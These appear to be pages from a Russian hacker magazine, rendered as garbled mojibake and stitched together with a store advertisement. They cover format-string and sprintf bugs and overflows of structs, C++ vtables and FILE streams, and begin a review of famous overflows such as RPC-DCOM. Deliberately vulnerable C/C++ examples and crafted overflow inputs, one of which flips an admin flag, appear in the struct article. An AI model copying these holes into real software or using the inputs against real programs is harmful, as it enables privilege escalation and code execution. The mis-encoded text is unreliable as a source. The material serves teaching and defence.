ïðèåìíèêà è
íèêîãäà íå
óñòðîèò ïå-
ðåïîëíåíèå.

ÄÅÐÍÈ PRINTF ÇÀ ÕÂÎÑÒ34 ÎÑÍÎÂÛ

Ïðîñìîòð äàìïà ïàìÿòè ïî âðó÷íóþ ñôîðìèðîâàííîìó óêàçàòåëþ

Ôîðìèðîâàíèå óêàçàòåëÿ â êîíöå áóôåðà è âûâîä åãî íà ýêðàí

Êàæäûé ñïåöèôèêàòîð çàíèìàåò äâà
áàéòà è ñíèìàåò ñî ñòåêà ÷åòûðå.

Ôóíêöèÿ sprintf îòíîñèòñÿ ê ÷èñëó 
ñàìûõ îïàñíûõ.
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ïåðâûé âñòðåòèâøèéñÿ åé ìóñîð. Ñîáûòèÿ áóäóò ðàçâè-
âàòüñÿ ïî ñöåíàðèþ, îïèñàííîìó âûøå ("Íàâÿçûâàíèå
ñîáñòâåííûõ ñïåöèôèêàòîðîâ"), ñ òîé ëèøü ðàçíèöåé, ÷òî
íàâÿçûâàòü ñïåöèôèêàòîðû çëîóìûøëåííèê ñìîæåò òîëü-
êî êîñâåííî èëè íå ñìîæåò âîâñå.

ÏÅÐÅÏÎËÍÅÍÈÅ ÁÓÔÅÐÀ-ÏÐÈÅÌÍÈÊÀ
Ôóíêöèÿ sprintf îòíîñèòñÿ ê ÷èñëó ñàìûõ îïàñíûõ, è

âñå ðóêîâîäñòâà ïî áåçîïàñíîñòè â îäèí ãîëîñ òâåðäÿò,
÷òî ëó÷øå ïîëüçîâàòüñÿ åå áåçîïàñíûì àíàëîãîì -
snprintf. Ïî÷åìó? Ïðèðîäà ôîðìàòèðîâàííîãî âûâîäà òà-
êîâà, ÷òî ïðåäåëüíî äîñòèæèìóþ äëèíó ðåçóëüòèðóþùåé
ñòðîêè î÷åíü òðóäíî ðàññ÷èòàòü çàðàíåå. Ðàññìîòðèì ñëå-
äóþùèé êîä:

f()
{
char buf[???];
sprintf(buf,"èìÿ:%s âîçðàñò:%02d âåñ:%03d ðîñò:%03d\n",
name, age, m, h);
...

}

Êàê âû äóìàåòå, êàêèõ ðàçìåðîâ áóôåð íàì ïîòðåáóåòñÿ?
Èç íåèçâåñòíûõ ôàêòîðîâ çäåñü ïðèñóòñòâóþò: äëèíà ñòðî-
êè name è "äëèíà" öåëî÷èñëåííûõ ïåðåìåííûõ age, m, h,
ïðåîáðàçóåìûõ ôóíêöèåé sprintf â ñèìâîëüíîå ïðåäñòàâ-
ëåíèå. Êàæåòñÿ ëîãè÷íûì, åñëè ìû îòâîäèì äâà ñòîëáöà íà
âîçðàñò è ïî òðè íà ðîñò è âåñ, òî çà âû÷åòîì èìåíè è äëè-
íû ôîðìàòíîé ñòðîêè íàì ïîòðåáóåòñÿ âñåãî 8 áàéò. Ïðà-
âèëüíî? À âîò è íåò! Åñëè ñòðîêîâîå ïðåäñòàâëåíèå ïåðå-
ìåííûõ íå óìåùàåòñÿ â îòâåäåííûõ åìó ïîçèöèÿõ, îíî àâ-
òîìàòè÷åñêè ðàñøèðÿåòñÿ, äàáû èçáåæàòü óñå÷åíèÿ ðå-
çóëüòàòà. Â äåéñòâèòåëüíîñòè æå, äåñÿòè÷íîå ïðåäñòàâëå-
íèå 32-ðàçðÿäíûõ ïåðåìåííûõ òèïà int òðåáóåò ðåçåðâèðî-
âàíèÿ 11 áàéò ïàìÿòè, â ïðîòèâíîì ñëó÷àå âîçíèêàåò óãðîçà
ïåðåïîëíåíèÿ áóôåðà. 

ÇÀÊËÞ×ÅÍÈÅ
Îøèáêè îáðàáîòêè ñïåöèôèêàòîðîâ - ÷àñòíûé ñëó÷àé

ïðîáëåìû èíòåðïîëÿöèè ñòðîê. Íåêîòîðûå ÿçûêè, íàïðè-
ìåð Perl, ïîçâîëÿþò íå òîëüêî ôîðìàòèðîâàòü âûâîä, íî
è âíåäðÿòü ïåðåìåííûå è äàæå ôóíêöèè (!) íåïîñðåä-
ñòâåííî â ñàìó âûâîäèìóþ ñòðîêó, ÷òî ñóùåñòâåííî óï-
ðîùàåò è óñêîðÿåò ïðîãðàììèðîâàíèå. Ê ñîæàëåíèþ, õî-
ðîøèå èäåè ñòàíîâÿòñÿ ôóíäàìåíòîì âîèíñòâóþùåãî
âàíäàëèçìà. Óäîáñòâî íå ñî÷åòàåòñÿ ñ áåçîïàñíîñòüþ.
×òî óäîáíî ïðîãðàììèðîâàòü - óäîáíî è ëîìàòü, õîòÿ îá-
ðàòíîå óòâåðæäåíèå íåâåðíî.

Â îáùåì, íå âîñïðèíèìàé ÿçûêîâûå âîçìîæíîñòè êàê
äîãìó. Ïîäõîäè ê íèì òâîð÷åñêè, îòáèðàÿ òîëüêî ëó÷øèå
ôóíêöèè è îïåðàòîðû. E

Äåìîíñòðàöèÿ ïåðåçàïèñè ÿ÷åéêè ïàìÿòè

$149,99 

Êëàâèàòóðà/ Auravision
EluminX Illuminated
Keyboard

$865,99  

Øëåì i-O Display Systems
i-glasses HRV 

$79,99    

$219.99  

Äæîéñòèê/
Freestyler Bike 

$849,99  

Øëåì/ i-O Display
Systems i-glasses

SVGA 

$89,99    

Master Pilot w
/Programmer

Äæîéñòèê/ CH Flight
Sim Yoke USB 

Ïåäàëè/CH Pro
Pedals USB 

Êëàâèàòóðà/ Microsoft
Wireless Optical Desktop 
for Bluetooth 

$219.99

$149,99   

Äæîéñòèê
CH FlightStick Pro USB

PC Accessories

(095) 928-6089 (095) 928-0360 (095) 928-3574

Çàêàçû ïî èíòåðíåòó � êðóãëîñóòî÷íî! e-mail: sales@e-shop.ru
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü ñ 09.00 äî 21.00 ïí - ïò 

ñ 10.00 äî 19.00 ñá - âñ   
W W W . E - SS H O P . R U W W W . G A M E P O S T . R U

www.gamepost.ru www.e-shop.ru

Ñ ÄÎÑÒÀÂÊÎÉ ÍÀ ÄÎÌ

ÈÃÐÛ
ÏÎ ÊÀÒÀËÎÃÀÌ

$259,99   

ÐÅÀËÜÍÅÅ,
×ÅÌ Â ÌÀÃÀÇÈÍÅ 

ÁÛÑÒÐÅÅ,×ÅÌ ÒÛ ÄÓÌÀÅØÜ



Ìûñëà Âëàäèñëàâ aka DigitalScream (digitalscream@real.xakep.ru)

ß âíî ïðîèñõîäèëî ïåðåïîëíåíèå, íî ÷òî ïåðåçàïèñûâàëîñü è êàê ýòî âëèÿëî íà äàëüíåéøåå èñïîëíåíèå ïðîãðàììû,
áûëî çàãàäêîé. ×òî-òî ñìóòíî íàïîìèíàëî ñèòóàöèþ ñ âûäåëåíèåì ïàìÿòè â êó÷å ÷åðåç ôóíêöèþ malloc()�

ËÎÌÀÅÌ 
ÑÒÐÓÊÒÓÐÛ
ÑÒÐÓÊÒÓÐÀ ÍÅ ÂÑÅÃÄÀ ÊÐÈÒÅÐÈÉ ÖÅËÎÑÒÍÎÑÒÈ

øèáêè ïåðåïîëíåíèÿ
áóôåðà ÷àñòî òðåáóþò
îò õàêåðà ïðîÿâèòü
ñìåêàëêó. Îñîáåííî ýòî
êàñàåòñÿ òåõ ìîìåíòîâ,

êîãäà ïîÿâëÿåòñÿ íåîáõîäèìîñòü â
ïîääåëêå êàêèõ-ëèáî äàííûõ. Åñëè òû
ñòàëêèâàëñÿ ñ ïåðåïîëíåíèÿìè â êó-
÷å, òî ïîíèìàåøü, î ÷åì èäåò ðå÷ü. Â
äàííîé ñòàòüå ÿ ïðèâåäó íåñêîëüêî
ïðèìåðîâ òîãî, êàê ýêñïëóàòèðóþòñÿ
óÿçâèìîñòè, òðåáóþùèå ôàëüñèôèêà-
öèè ñòðóêòóðèðîâàííûõ ó÷àñòêîâ ïà-
ìÿòè, è êàê ýòèì ìîæåò âîñïîëüçî-
âàòüñÿ çëîóìûøëåííèê äëÿ èñïîëíå-
íèÿ ñâîåãî êîäà. Ïîåõàëè!

Âñå äàííûå â ïàìÿòè ïðåäñòàâëåíû
îäèíàêîâî. Íå èìååò çíà÷åíèÿ, ñ ÷åì
ðàáîòàåò ïðîãðàììà: ñî ñòðîêàìè, ÷èñ-
ëàìè, ñòðóêòóðàìè è ò.ä. Òàê èëè èíà÷å,
âñå äàííûå - ýòî íàáîð áàéò îïðåäå-
ëåííîé äëèíû, è íè÷åãî áîëåå. Âñå îã-
ðàíè÷åíèÿ â îáðàáîòêå ñîçäàíû ïðîã-
ðàììèñòîì, è îíè ñóùåñòâóþò òîëüêî
íà óðîâíå ïîíèìàíèÿ êîäà. Åñëè òû
ñîçäàåøü ñòðîêó, òî îíà â ïàìÿòè íè-
÷åì íå îòëè÷àåòñÿ îò ìàññèâà ÷èñåë
èëè êîîðäèíàò êàêîãî-ëèáî ìíîãîó-
ãîëüíèêà. Äðóãîå äåëî - èíòåðïðåòà-
öèÿ äàííûõ. Åñëè ýòî ñòðîêà, òî òû çíà-
åøü, ÷òî îíà äîëæíà çàêàí÷èâàòüñÿ
íóëåì, åñëè ýòî êîîðäèíàòû, òî èõ êî-
ëè÷åñòâî äîëæíî áûòü ïàðíûì è ò.ä.

ÏÅÐÅÏÎËÍÅÍÈÅ ÑÒÐÓÊÒÓÐ
Ïðè ïåðåïîëíåíèè áóôåðà õà-

êåð èìååò äåëî, â îñíîâíîì, ñî
ñòðîêàìè, è åäèíñòâåííîå îãðàíè-
÷åíèå, êîòîðîå íàêëàäûâàåòñÿ íà
shell-êîä, - ýòî îòñóòñòâèå â íåì íó-
ëåâûõ áàéòîâ. Íî áûâàþò ñèòóà-
öèè, êîãäà ïåðåïîëíåíèå ïðîèñõî-
äèò â îáðàáîòêå ñòðîêè, êîòîðàÿ

ÿâëÿåòñÿ ÷àñòüþ ñòðóêòóðû. Äàâàé
âçãëÿíåì íà ïðèìåð 1.

Ýòî ïðîãðàììà, êîòîðàÿ ïðîâåðÿåò
èìÿ ïîëüçîâàòåëÿ è ïàðîëü. Åñëè îíè
ñîâïàäàþò è ðàâíû "adm" - ïîëüçîâà-
òåëü ñ÷èòàåòñÿ àäìèíèñòðàòîðîì, åñ-
ëè íå ñîâïàäàþò - ãîñòåì. Ñðàçó ìîæ-
íî çàìåòèòü, ÷òî äëÿ çàïîëíåíèÿ
ñòðóêòóðû credentials èñïîëüçóåòñÿ
êîìàíäà memcpy áåç ïðîâåðêè íà
äëèíó ïåðåäàâàåìûõ äàííûõ. Ýòèì
ìîæíî âîñïîëüçîâàòüñÿ, ÷òîáû ïåðå-
çàïèñàòü ïàìÿòü ïðèëîæåíèÿ è, âîç-
ìîæíî, ïîëó÷èòü óïðàâëåíèå íàä íèì.
×òîáû ïîäòâåðäèòü òåîðèþ, íóæíî ïî-
èãðàòü ñ ïåðåäàâàåìûìè ïðèëîæåíèþ
äàííûìè. Åñëè çàïóñòèòü ïðîãðàììó ñ
ïàðàìåòðàìè "demo demo", îíà ñêà-
æåò, ÷òî òû ÿâëÿåøüñÿ ãîñòåì, "adm
adm" - âåðíåò, ÷òî òû àäìèí. Êàæåòñÿ,
âñå â ïîðÿäêå, íî íå ñòîèò çàáûâàòü î
ïåðåïîëíåíèè! Ïåðåäàé ïðèëîæåíèþ
ñòðîêó: hacker aaaaaaaaaaaaaaaa\x01, è
îíà îïîçíàåò òåáÿ êàê àäìèíèñòðàòî-
ðà. Ïðè÷èíà òàêîãî ïîâåäåíèÿ ÿñíà -
ïåðåäàâàÿ äëèííûé ïàðîëü, òû ïåðå-
çàïèñûâàåøü çíà÷åíèå ïåðåìåííîé
admin, è èìåííî îíà õðàíèò â ñåáå
òâîé ñòàòóñ â ñèñòåìå. Åñëè ïåðåïîë-
íåíèÿ íå ïðîèñõîäèò, ïåðåìåííàÿ
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Òàê äîëæíà ðàáîòàòü ïðîãà...

À òàê - íå äîëæíà :-)

ËÎÌÀÅÌ ÑÒÐÓÊÒÓÐÛ36 ÎÑÍÎÂÛ

struct credentials { char name[0x10]; char pass[0x10];
bool admin; };
void CheckUser(credentials* cUser) {
if(!strcmp(cUser->name,"adm") && !strcmp(cUser->pass,"adm") )
cUser->admin = true; }
int _tmain(int argc, _TCHAR* argv[]) {
credentials* cUser = new credentials;
cUser->admin = false; char* name = argv[1];
char* pass = argv[2];
memcpy( cUser->name, name, strlen(name) );
memcpy( cUser->pass, pass, strlen(pass) );
cUser->name[strlen(name)] = '\0';
cUser->pass[strlen(pass)] = '\0';
CheckUser(cUser);
......
return 0; }

ÏÐÈÌÅÐ 1. ÏÐÎÃÐÀÌÌÀ ÏÐÎÂÅÐÊÈ ÈÌÅÍÈ È ÏÀÐÎËß 



admin ðàâíà íóëþ, íî ïîñêîëüêó òû
ïåðåäàë ïàðîëü èç 16 ñèìâîëîâ "à" è
îäíîãî áàéòà "0x01", à ðàçìåð ïåðå-
ìåííîé pass  - âñåãî 16, òî "0x01" ïåðå-
çàïèøåò çíà÷åíèå admin è ñèñòåìà
ñî÷òåò òåáÿ àäìèíèñòðàòîðîì.

ÏÅÐÅÏÎËÍÅÍÈÅ ÊËÀÑÑÎÂ
Âñå ñêàçàííîå êàñàåòñÿ òàêæå è

êëàññîâ. Âîçüìåì ïðåäûäóùèé ïðè-
ìåð, íî íà ýòîò ðàç âñå äàííûå áóäóò
õðàíèòüñÿ íå â ñòðóêòóðå, à â êëàññå.
Áîëåå òîãî, ïóñòü òåïåðü ìîæíî áóäåò
óêàçàòü äàííûå íå äëÿ îäíîãî, à äëÿ
äâóõ ïîëüçîâàòåëåé. 

Äàâàé îïÿòü ïðîâåðèì ðàáîòó ïîëó-
÷èâøåãîñÿ ïðèëîæåíèÿ, êîòîðîå òàê-
æå ÷óâñòâèòåëüíî ê äëèíå ïåðåäàâàå-
ìûõ åìó ñòðîê. Ïðèëîæåíèå ðàáîòàåò
êîððåêòíî, åñëè äëèíà ñòðîêè íå ïðå-
âûøàåò 16 ñèìâîëîâ; åñëè íàðóøèòü
ýòî ïðàâèëî, òî ïåðåä âàìè îòêðîþòñÿ
äðóãèå âîçìîæíîñòè, ñîâñåì íå ïðå-
äóñìîòðåííûå ïðîãðàììèñòîì :-). Òàê,
íàïðèìåð, ïðè ïåðåäà÷å â êà÷åñòâå
ïàðîëÿ äëÿ ïåðâîãî ïîëüçîâàòåëÿ
ñòðîêó èç 30 áàéò ïðèëîæåíèå êðèòè-
÷åñêè çàâåðøèò ñâîþ ðàáîòó.

Ïðè÷èíà ïðîèñøåäøåãî â òîì, ÷òî
äëÿ õðàíåíèÿ êëàññà èñïîëüçóåòñÿ
äèíàìè÷åñêàÿ ïàìÿòü. Ïåðåïîëíÿÿ
áóôåð, òû ìîæåøü èçìåíèòü çíà÷å-
íèÿ ñòàòè÷åñêèõ ïåðåìåííûõ, ýòî
âåðíî, íî îøèáêà íå èç-çà ýòîãî.
Ïîñìîòðè íà îòëàäî÷íóþ èíôîðìà-
öèþ. Âèäíî, ÷òî ïîñëå òîãî êàê ïåð-
âûé ýêçåìïëÿð êëàññà ïîëó÷èë ëîãèí
è ïàðîëü, ó âòîðîãî èçìåíèëîñü çíà-
÷åíèå VTable. À VTable - ýòî àäðåñ
òàáëèöû ìåòîäîâ êëàññà. Â íåé íàõî-
äÿòñÿ âñå ìåòîäû, ïîìå÷åííûå êàê
âèðòóàëüíûå, à âñå îñòàëüíûå íàõî-
äÿòñÿ â ñåãìåíòå êîäà. Àäðåñ ýòîé

òàáëèöû õðàíèòñÿ ïî óêàçàòåëþ îáú-
åêòà, à ïîñêîëüêó îíè ñîçäàþòñÿ â
ñòåêå, òî àäðåñ òàáëèöû ëåæèò òàì
æå. Íî íà ñàìîì äåëå âñå ïðîñòî:
ôóíêöèè õðàíÿòñÿ â îáëàñòè êîäà,
ïåðåìåííûå ôèêñèðîâàííîé äëèíû
ëåæàò â òîé æå îáëàñòè ïàìÿòè, ãäå
ðàñïîëîæåí ñàì îáúåêò. ×òîáû ïåðå-
çàïèñàòü îáëàñòü êîäà, íåîáõîäèìî
êîïèðîâàòü áóôåð î÷åíü áîëüøåé
äëèíû, è ïîýòîìó, äàæå åñëè åñòü
âîçìîæíîñòü çàïèñè â ñåãìåíò êîäà,
åé íå âñåãäà ìîæíî âîñïîëüçîâàòüñÿ
èç-çà ðàññòîÿíèÿ îò íåãî äî ñòåêà
èëè êó÷è. Îäíàêî äëÿ áîëüøåé ãèá-
êîñòè è ðåàëèçàöèè íàñëåäîâàíèÿ
ïðîãðàììèñòû èñïîëüçóþò âèðòóàëü-
íûå ôóíêöèè. Îíè íè÷åì íå îòëè÷à-
þòñÿ îò îáû÷íûõ çà èñêëþ÷åíèåì ìå-
òîäà äîñòóïà ê íèì. Åñëè òî÷íåå, àä-
ðåñ ôóíêöèè íå æåñòêî ïðîïèñàí â
êîäå, à íàõîäèòñÿ â òàáëèöå, êîòîðàÿ
ìîæåò ìåíÿòüñÿ â õîäå âûïîëíåíèÿ
ïðîãðàììû. Àäðåñ òàáëèöû õðàíèòñÿ
â ïåðâûõ 4 áàéòàõ îáúåêòà, à ïîýòî-
ìó, åñëè åñòü ïåðåïîëíåíèå, òî åãî
ìîæíî ïåðåçàïèñàòü. Èìåííî ýòî è
ïðîèçîøëî â ðàññìîòðåííîì ïðèìå-
ðå. Êîãäà òû ïåðåäàë ñòðîêó "name
AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA name pass", ïà-
ðîëü, õðàíÿùèéñÿ â ïåðâîì ýêçåìï-
ëÿðå, ïåðåçàïèñàë âèðòóàëüíóþ
òàáëèöó ìåòîäîâ âòîðîãî. ×òîáû â
ýòîé ñèòóàöèè ïîëó÷èòü êîíòðîëü
íàä ïðèëîæåíèåì, íåîáõîäèìî íàé-
òè òàêîé àäðåñ â ïàìÿòè, êîòîðûé
íå ñîäåðæèò â ñåáå íóëåé è óêàçû-
âàåò íà àäðåñ, ïî êîòîðîìó íàõîäèò-
ñÿ òâîé shell-êîä. Íàäåþñü, òåïåðü
òåáå ïîíÿòíî, â ÷åì äåëî. Ñóùåñò-
âóåò åùå ìíîæåñòâî ìåòîäîâ ïåðå-
ïîëíåíèÿ îáúåêòîâ â ïàìÿòè, íî ýòà

×ïîê! :-)

Ïî ñóòè, ïåðåïîëíåíèå ñòðóêòóð íè÷åì 
íå îòëè÷àåòñÿ îò ïåðåïîëíåíèé ñòðîê. 

»



òåìà çàñëóæèâàåò îòäåëüíîãî ðàñ-
ñìîòðåíèÿ, à ïîêà ÷òî ìû îñòàíî-
âèìñÿ íà ïåðåïîëíåíèè ñòðóêòóðè-
ðîâàííûõ äàííûõ.

ÏÅÐÅÏÎËÍÅÍÈÅ
ÔÀÉËÎÂÎÃÎ ÏÎÒÎÊÀ

Âçãëÿíåì íà ïðèìåð 2. 
Åñëè òû âíèìàòåëüíî èçó÷èë ïðåäû-

äóùèé ïðèìåð, òî, íàâåðíî, çàìåòèë,
÷òî â íåì èñïîëüçóåòñÿ íåáåçîïàñ-
íàÿ ôóíêöèÿ strcpy(), êîòîðàÿ, êàê èç-
âåñòíî, ìîæåò ïðèâåñòè ê ïåðåçàïèñè
ïàìÿòè, ÷òî, ñîáñòâåííî, è ïðîèçîø-
ëî. Îñòàëîñü òîëüêî ðàçîáðàòüñÿ, êàê
âåäåò ñåáÿ ïðèëîæåíèå ïîñëå ïåðå-
ïîëíåíèÿ. Åñëè ïåðåäàòü ôóíêöèè
ñòðîêè äëèíîé ìåíüøå 255, îíà êîð-
ðåêòíî âûïîëíèò è áåç ïðîáëåì çà-
âåðøèò ñâîþ ðàáîòó. Íî, åñëè åé ïå-
ðåäàòü â êà÷åñòâå ïàðàìåòðà ñòðîêó
èç áóêâ "À" äëèíîé 255+8, îíà, âìåñ-
òî òîãî ÷òîáû çàïèñàòü â ôàéë ñòðîêó
"File created successful", çàïèøåò
"ÀÀÀÀÀ". Áîëåå òîãî, åñëè ïåðåäàòü
ñòðîêó äëèíîé õîòÿ áû 255+255, òî
ôóíêöèÿ ïðîñòî àâàðèéíî çàâåðøèò
ñâîþ ðàáîòó. Äàâàé ïîñìîòðèì âíè-
ìàòåëüíåå, ÷òî ïðîèñõîäèò. Êàñàòåëü-
íî çàïèñè â ôàéë ñòðîêè "ÀÀÀÀÀ", òî
ïðè÷èíà â òîì, ÷òî, ïåðåïîëíÿÿ ïåðå-
ìåííóþ szUserName, òû ïåðåçàïèñû-
âàåøü çíà÷åíèå ïåðåìåííîé
szHeader. À åñëè óâåëè÷èòü ðàçìåð
ïåðåäàâàåìîé ñòðîêè, òî â ðåçóëüòà-
òå áóäåò ïåðåçàïèñàí óêàçàòåëü íà
ôàéë. ×òî ýòî íàì äàåò? Âñå î÷åíü
ïðîñòî. Åñëè ðàíüøå ïðîãðàììà ââå-
ëà ëîãèí â çàùèùåííîì ôàéëå, òî òå-
ïåðü òû ìîæåøü ïåðåíàïðàâèòü åå
âûâîä â ëþáîé äðóãîé ôàéë èëè íà
ñòàíäàðòíûå ïîòîêè stdout èëè srderr!
Äëÿ ýòîãî íåîáõîäèìî ïðîñòî ïåðåçà-
ïèñàòü óêàçàòåëü íà ôàéë íà êàêîé-
ëèáî äðóãîé óêàçàòåëü, êîòîðûé ññû-
ëàåòñÿ íà ïîääåëüíóþ ñòðóêòóðó
ôàéëà. Íî è ýòî åùå íå âñå! Ðàç åñòü
âîçìîæíîñòü ïîääåëêè ïîòîêà, òî
ìîæíî åãî çàñòàâèòü ïåðåçàïèñàòü
ëþáîé ó÷àñòîê ïàìÿòè íóæíûìè äàí-
íûìè, äàæå â òîì ñëó÷àå, êîãäà ðàç-
ìåð ïåðåïîëíÿåìîãî áóôåðà òàêîé
ìàëåíüêèé, êàê â ïîñëåäíåì ïðèìåðå.
Òåõíîëîãèÿ îñóùåñòâëåíèÿ äàííîé
èäåè ïðîñòà. Ïåðåä òåì êàê ïðîèñõî-
äèò çàïèñü äàííûõ â ôàéë, îíè ïðî-
õîäÿò áóôåðèçàöèþ. Àäðåñ áóôåðà
óêàçàí â ñàìîé ñòðóêòóðå ïîòîêà:

struct _iobuf {
char *_ptr; //!!
int _cnt; 
char *_base;//!!
int _flag;
int _file;
int _charbuf;
int _bufsiz;
char *_tmpfname;
};

È åñëè èõ âûñòàâèòü â èíòåðåñóþ-
ùèå òåáÿ àäðåñà, òî ïðè çàïèñè â
ôàéë äàííûå ïåðåçàïèøóò ñîáîé
íóæíûå ôðàãìåíòû ïàìÿòè. Âîññîç-

äàòü âñå ýòî äîñòàòî÷íî ñëîæíî èç-çà
ðåàëèçàöèè ñèñòåìû ðàáîòû ñ ôàéëà-
ìè. Êóäà áîëåå âåðíûì ðåøåíèåì ÿâ-
ëÿåòñÿ ïåðåçàïèñü ìàññèâà _stdbuf .
Ïåðåçàïèñûâàÿ ôàéëîâûå ïîòîêè, íå-
îáÿçàòåëüíî ïûòàòüñÿ ïîëüçîâàòüñÿ
èìè äëÿ ïåðåäà÷è óïðàâëåíèÿ íà
shell-êîä. Åñëè äëèíà áóôåðà ïîçâî-
ëÿåò ïåðåçàïèñàòü ïðîñòî àäðåñ âîçâ-
ðàòà, òî íóæíî èñïîëüçîâàòü ïðåäîñ-
òàâëåííóþ âîçìîæíîñòü. Íî ïðè ýòîì
êîððåêòíî ïåðåçàïèñàòü óêàçàòåëü íà
ôàéë, ÷òîáû äàòü ôóíêöèè óñïåøíî
çàâåðøèòü ñâîþ ðàáîòó. 

ARE YOU MIND OVERFLOWS? 
Íà ýòîì çàâåðøèì íåáîëüøîé ýêñ-

êóðñ â òåõíîëîãèè ïåðåçàïèñè ñòðóêòó-

ðèðîâàííûõ äàííûõ, õîòÿ ãîâîðèòü î òà-
êèõ óÿçâèìîñòÿõ ìîæíî î÷åíü äîëãî. Îñ-
íîâíîå, ÷òî òû äîëæåí âûíåñòè èç ýòîé
ñòàòüè, - ýòî òî, ÷òî, ïî ñóòè, ïåðåïîëíå-
íèå ñòðóêòóð íè÷åì íå îòëè÷àåòñÿ îò ïå-
ðåïîëíåíèé ñòðîê. Îíè ïðîñòî òðåáóþò
îò àòàêóþùåãî áîëåå òî÷íûõ çíàíèé î
ðàáîòå ïðîãðàììû, íî çàòî âçàìåí çà-
÷àñòóþ äàþò áîëåå ïðîñòûå ñïîñîáû
äëÿ ïåðåäà÷è óïðàâëåíèÿ íà shell-êîä.

Íàïîñëåäîê õîòåëîñü áû íàïîìíèòü,
÷òî ñòàòüÿ ðàññ÷èòàíà íà ïðîãðàììèñ-
òîâ, êîòîðûå ðåøèëè ïîâûñèòü óðî-
âåíü áåçîïàñíîñòè â ñâîèõ ïðèëîæå-
íèÿõ. Âñå, î ÷åì òû ïðî÷èòàë, íîñèò
òîëüêî èíôîðìàòèâíûé õàðàêòåð è íå
äîëæíî áûòü èñïîëüçîâàíî â íåçà-
êîííûõ öåëÿõ. E
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class credentials { private: bool admin;
public: char name[0x10]; char pass[0x10];
public: SetCredentials(char* _name, char* _pass );
virtual void Administrate();
private: virtual void Admin(); };
credentials::SetCredentials(char* _name, char* _pass ) {
memcpy( name, _name, strlen(_name) );
memcpy( pass, _pass, strlen(_pass) );
name[strlen(_name)] = '\0'; pass[strlen(_pass)] = '\0';
admin = false; }
void credentials::Administrate() {
if( !strcmp(name,"adm") && !strcmp(pass,"adm") ) {
Admin(); } ....... }
int _tmain(int argc, _TCHAR* argv[]) {
......
bool TwoUsers = false;
if( argc==5 ) TwoUsers = true;
......
credentials* cUserFirst; credentials* cUserSecond;
cUserFirst   = new credentials();
if( TwoUsers ) cUserSecond  = new credentials();
.....
if( TwoUsers )cUserSecond->SetCredentials( argv[3], argv[4] );
cUserFirst->SetCredentials ( argv[1], argv[2] );
....
cUserFirst->Administrate();
if( TwoUsers ) cUserSecond->Administrate();
... }

ÐÅÀËÈÇÀÖÈß ÀÓÒÅÍÒÈÔÈÊÀÖÈÈ Ñ ÏÎÌÎÙÜÞ
ÊËÀÑÑÎÂ

......
void CreateLog(char* szUser)
{ FILE *hFile;
char szHeader[] = "File created successful\n";
char szUserName[0xFF];
hFile = fopen( "default.log", "a" );
strcpy( szUserName, szUser );
fprintf( hFile, "%s", szHeader );
...... }

ÏÐÈÌÅÐ 2. ÏÑÅÂÄÎÔÓÍÊÖÈß ÄÎÇÀÏÈÑÈ ÔÀÉËÀ





Äîêó÷àåâ Äìèòðèé aka Forb (forb@real.xakep.ru)

Â ðåìÿ îò âðåìåíè ìèð óçíàåò î ïîòðÿñíîé óÿçâèìîñòè â êàêîì-íèáóäü þçàáåëüíîì ïðîäóêòå. Óùåðá îò áàãà ìîæåò
ñîñòàâëÿòü îò íåñêîëüêèõ ìèëëèîíîâ äî ìèëëèàðäà çåëåíûõ ïðåçèäåíòîâ, õîòÿ óÿçâèìîñòü ïðåäñòàâëÿåò ñîáîé íå

÷òî èíîå, êàê ïðîñòîå ïåðåïîëíåíèå áóôåðà.

ÄÅÑßÒÊÀ
ÑÀÌÛÕ-ÑÀÌÛÕ
ÎÁÇÎÐ ÕÈÒÎÂÛÕ ÏÅÐÅÏÎËÍÅÍÈÉ

Áåññïîðíî, ÷òî äàæå
ñàìûé î÷åâèäíûé áàã
ìîæíî óçðåòü òîëüêî
ïîñëå äëèòåëüíîãî òåñ-
òèðîâàíèÿ ïðîäóêòà.

Ñàìûé òàëàíòëèâûé ïðîãðàììèñò - è
òîò íå â ñîñòîÿíèè ïðîêîíòðîëèðî-
âàòü äëèíó è êîððåêòíîñòü âñåõ ïåðå-
ìåííûõ â ñâîåì êîäå. Êàê ïðàâèëî,
ýòèì çàíèìàþòñÿ áàãîèñêàòåëè, ñòàðà-
òåëüíî èçó÷àÿ èñõîäíèêè ïîäîçðè-
òåëüíîãî ïðèëîæåíèÿ.

Ïîçâîëü ïðåäñòàâèòü òåáå 10 õèòî-
âûõ ïåðåïîëíåíèé, êîòîðûå èìåëè
ìåñòî â êîìïüþòåðíîé èñòîðèè è ïîò-
ðÿñëè âåñü ìèð.

1. RPC-DCOM overflow
Ëåòî ïðîøëîãî ãîäà îçíàìåíîâà-

ëîñü ìðà÷íûì èçâåñòèåì: âñå NT-ñèñ-
òåìû îò Microsoft îêàçàëèñü óÿçâèìû-
ìè. Áàã ïðèâîäèë ê ïîëíîìó èìïåðñî-
íèðîâàíèþ ñèñòåìû ñ ïðàâàìè "SYS-
TEM". 16 èþëÿ, â äåíü îáíàðóæåíèÿ
óÿçâèìîñòè, íà ñàéòå lsd.pl ïîÿâèëàñü
èíôîðìàöèÿ î çàãàäî÷íîì ïåðåïîë-
íåíèè. ×òî èíòåðåñíî, ñóòü îøèáêè
íèêòî ðàñêðûâàòü íå ñîáèðàëñÿ. Ãîâî-
ðèëîñü ëèøü î òîì, ÷òî â êîäå ôîðòî-
÷åê þçàåòñÿ íåêîððåêòíîå îáðàùåíèå
ê èíòåðôåéñó __RemoteGetClassObject,
êîòîðîå ìîæåò ïîäìåíèòü èìåíîâàí-
íûé êàíàë epmapper. Íåñêîëüêî äíåé
ñïóñòÿ, êîãäà MS âûëîæèëà âñå íåîá-
õîäèìûå ïàò÷è, êîìàíäà Xfocus ðàñê-
ðûëà ìèðó ñóòü óÿçâèìîñòè â RPC,
ïðè÷åì îêàçàëîñü, ÷òî Âèíäà èìåëà
íå îäíó, à äâå áðåøè - ëîêàëüíóþ è
óäàëåííóþ. Êîãäà ïðîèñõîäèë ëîêàëü-
íûé çàïðîñ ê API-ôóíêöèè
CoGetInstanceFromFile(), êîíòðîëü íàä
ïàðàìåòðîì, îòâå÷àþùèé çà äëèíó
ôàéëà, íå ïðîèçâîäèëñÿ. Ïðè óäàëåí-
íîì îáðàùåíèè äëèíà ñòðîãî êîíòðî-
ëèðîâàëàñü. Åñëè æå çàþçàòü RPC, òî
íåòðóäíî ñîñòàâèòü çàïðîñ âèäà
"\\servername\c$\itsverylongfilename.t
xt", êîòîðûé ìîã áû ïðèâåñòè ê ïåðå-
